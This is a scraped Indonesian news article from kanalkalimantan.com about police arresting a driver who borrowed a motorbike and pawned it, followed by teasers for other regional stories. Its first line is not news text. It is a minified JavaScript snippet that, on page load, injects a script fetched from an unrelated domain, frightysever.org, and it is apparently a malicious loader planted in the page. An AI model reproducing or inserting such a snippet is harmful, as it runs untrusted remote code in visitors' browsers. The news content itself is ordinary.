(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN, AMUNTAI - Unit Reskrim Polsek Danau Panggang yang diback up anggota Polsek Babirik berhasil meringkus Dayat (35). Ia tersangkut kasus tindak pidana penggelapan alias penipuan kendaraan bermotor, Jumat (14/2/2020) pukul 14.30 Wita.
Tersangka Dayat yang diketahui merupakan warga Desa Bitin RT.03 Kecamatan Danau Panggang ini, bekerja sebagai sopir, berhasil diamankan saat berada di Jalan Negara-Muara Tapus Desa Sungai Durait Hilir RT.02 Kecamatan Babirik .
Kapolres HSU melalui Kapolsek Danau Panggang Iptu Momo Jon Rodok, kepada Kanalkalimantan.com, Senin (17/2/2020) membenarkan jajarannya telah mengamankan tersangka Dayat melalui OPS JARAN INTAN 2020, usai menerima laporan dari Rusfitri (53) warga Desa Purai Kecamatan Banua Lawas Kabupaten Tabalong yang mengalami kerugian setelah kendaraannya tidak dikembalikan tersangka.
Aksi penipuan tersebut bermula ketika anak korban yang bernama Risiliati (23) saat mengendarai sepeda motor Honda Scoopy warna hitam silver Tahun 2018 Nomor Polisi DA 6283 UBE mendatangi rumah Dayat pada 1 Januari 2020 sekitar pukul 08.00 Wita.
Tersangka Dayat meminjam saat itu sepeda motor tersebut untuk jalan-jalan, namun sekitar jam 12 siang Dayat kembali tanpa membawa sepeda motor dengan alasan mengalami kecelakaan dimana sepeda motor tersebut dijadikan jaminan.
Pada 8 Januari 2020 pagi, Dayat menghubungi Risiliati untuk mengambil sepeda motornya ke Abah Iti di daerah Sungai Turak Kecamatan Amuntai Utara.
“Ternyata sepeda motor tersebut digadaikan Dayat kepada Abah Iti sebesar Rp 5.300.000,” beber Kapolsek
Atas kejadian tersebut Rusfitri mengalami kerugian sebesar Rp 16 juta dan melaporkan kejadian ke Polsek Danau Panggang untuk proses lebih lanjut. Saat diamankan, kepada polisi tersangka Dayat mengakui tindakannya tersebut.
“Motornya dijaminkan karena kecelakaan, setelah ditelusuri ternyata digadaikan,” tukas Kapolsek Danau Panggang Iptu Momo Jon Rodok. Tersangka bersama barang bukti diamankan ke Mapolsek Danau Panggang guna proses Lebih lanjut dan terancam Pasal 372 atau 378 KUHP tentang Penggelapan atau Penipuan. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
This website uses cookies.